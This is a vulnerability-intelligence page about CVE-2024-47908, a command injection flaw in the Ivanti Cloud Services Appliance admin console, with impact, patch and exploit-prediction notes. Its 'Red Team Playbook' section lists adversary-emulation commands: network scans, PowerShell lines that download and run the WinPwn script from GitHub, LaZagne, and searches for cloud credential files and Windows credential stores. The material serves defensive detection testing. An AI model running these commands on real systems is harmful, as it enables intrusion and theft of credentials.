CVE-2024-47908
Overview
This vulnerability is an OS command injection rooted in insufficient input validation within the admin web console of Ivanti Cloud Services Application. The flaw arises from the improper sanitization of user-supplied data passed to system-level command execution functions. The affected component is the administrative interface prior to version 5.0.5, which processes privileged commands without adequate filtering, enabling injection of arbitrary OS commands.
Vulnerability Description
OS command injection in the admin web console of Ivanti CSA before version 5.0.5 allows a remote authenticated attacker with admin privileges to achieve remote code execution.
Impact
An attacker with authenticated administrator access can execute arbitrary operating system commands remotely through the admin web console, resulting in full system compromise. This requires valid admin credentials and network access to the management interface. The vulnerability enables unauthorized control over the affected system, potentially leading to data exfiltration, service disruption, or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) confirms network attack with high privileges and critical impact on confidentiality, integrity, and availability.
Solution
Ivanti recommends upgrading the Cloud Services Application to version 5.0.5 or later, which contains the patch addressing this command injection flaw. Detailed remediation steps and patch downloads are available in the vendor advisory at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-47908-CVE-2024-11771. No alternative workarounds are specified; applying the official update is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the admin web console of Ivanti Cloud Services Appliance prior to version 5.0.5 is characterized by an OS command injection flaw that allows remote authenticated attackers with administrative privileges to execute arbitrary code on the server. This type of vulnerability arises when user input is improperly sanitized, enabling malicious actors to inject system commands that the application inadvertently executes. In this case, an attacker could craft a request that leverages the web console's command execution capabilities, leading to unauthorized access and control over the underlying operating system.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who already possesses admin privileges, could exploit the flaw by sending specially crafted commands through the web console interface. For example, an attacker might manipulate input fields that are intended for legitimate command execution, injecting harmful commands that the system would execute with the same privileges as the application. This could lead to a range of malicious activities, including the installation of malware, data exfiltration, or even complete system compromise, depending on the attacker's objectives and the environment's configuration.
The real-world impact of such a vulnerability is significant, particularly for organizations relying on Ivanti Cloud Services Appliance for critical operations. Successful exploitation could result in severe business risks, including data breaches, loss of sensitive information, and disruption of services. The ability to execute arbitrary code remotely can lead to unauthorized access to confidential data, potentially exposing organizations to regulatory penalties and reputational damage. Furthermore, the presence of this vulnerability could serve as a foothold for further attacks within the network, allowing attackers to pivot to other systems and escalate their privileges.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Ivanti Cloud Services Appliance to the latest version is crucial, as patches often address known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their configurations. Implementing strict access controls and monitoring for unusual activities within the admin console can also help in detecting potential exploitation attempts. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering and monitoring HTTP requests to prevent malicious input from reaching the application.
In conclusion, the OS command injection vulnerability in the Ivanti Cloud Services Appliance poses a serious threat to organizations that utilize this product. The potential for remote code execution by authenticated attackers highlights the importance of maintaining robust security practices, including timely updates, vigilant monitoring, and proactive vulnerability management. By understanding the technical details, attack vectors, and real-world implications of such vulnerabilities, organizations can better prepare themselves against potential threats and safeguard their critical assets.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-47908, rising by 22% to place the vulnerability near the 99th percentile of exploitability potential. Although no new exploit techniques or proof-of-concept code have surfaced, this upward trend in EPSS reflects growing confidence in the likelihood of exploitation attempts in the near term. The incremental rise in the 7-day EPSS trend further underscores a subtle but consistent increase in risk perception among threat actors and automated scanning tools. For defenders, this signals a heightened urgency to prioritize detection and response capabilities around Ivanti Cloud Services Appliance environments, especially given the vulnerability’s capability for remote code execution with administrative privileges. While the absence of confirmed active exploitation tempers immediate alarm, the evolving predictive metrics suggest that exploitation activity could accelerate, warranting sustained vigilance. Consequently, the threat level for this vulnerability should be considered elevated within the high-severity category, reflecting an increased probability of exploitation that could impact organizations relying on affected versions of the product.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Cloud Services Appliance | All |
cpe:2.3:a:ivanti:cloud_services_appliance:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-47908 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-47908-CVE-2024-11771 |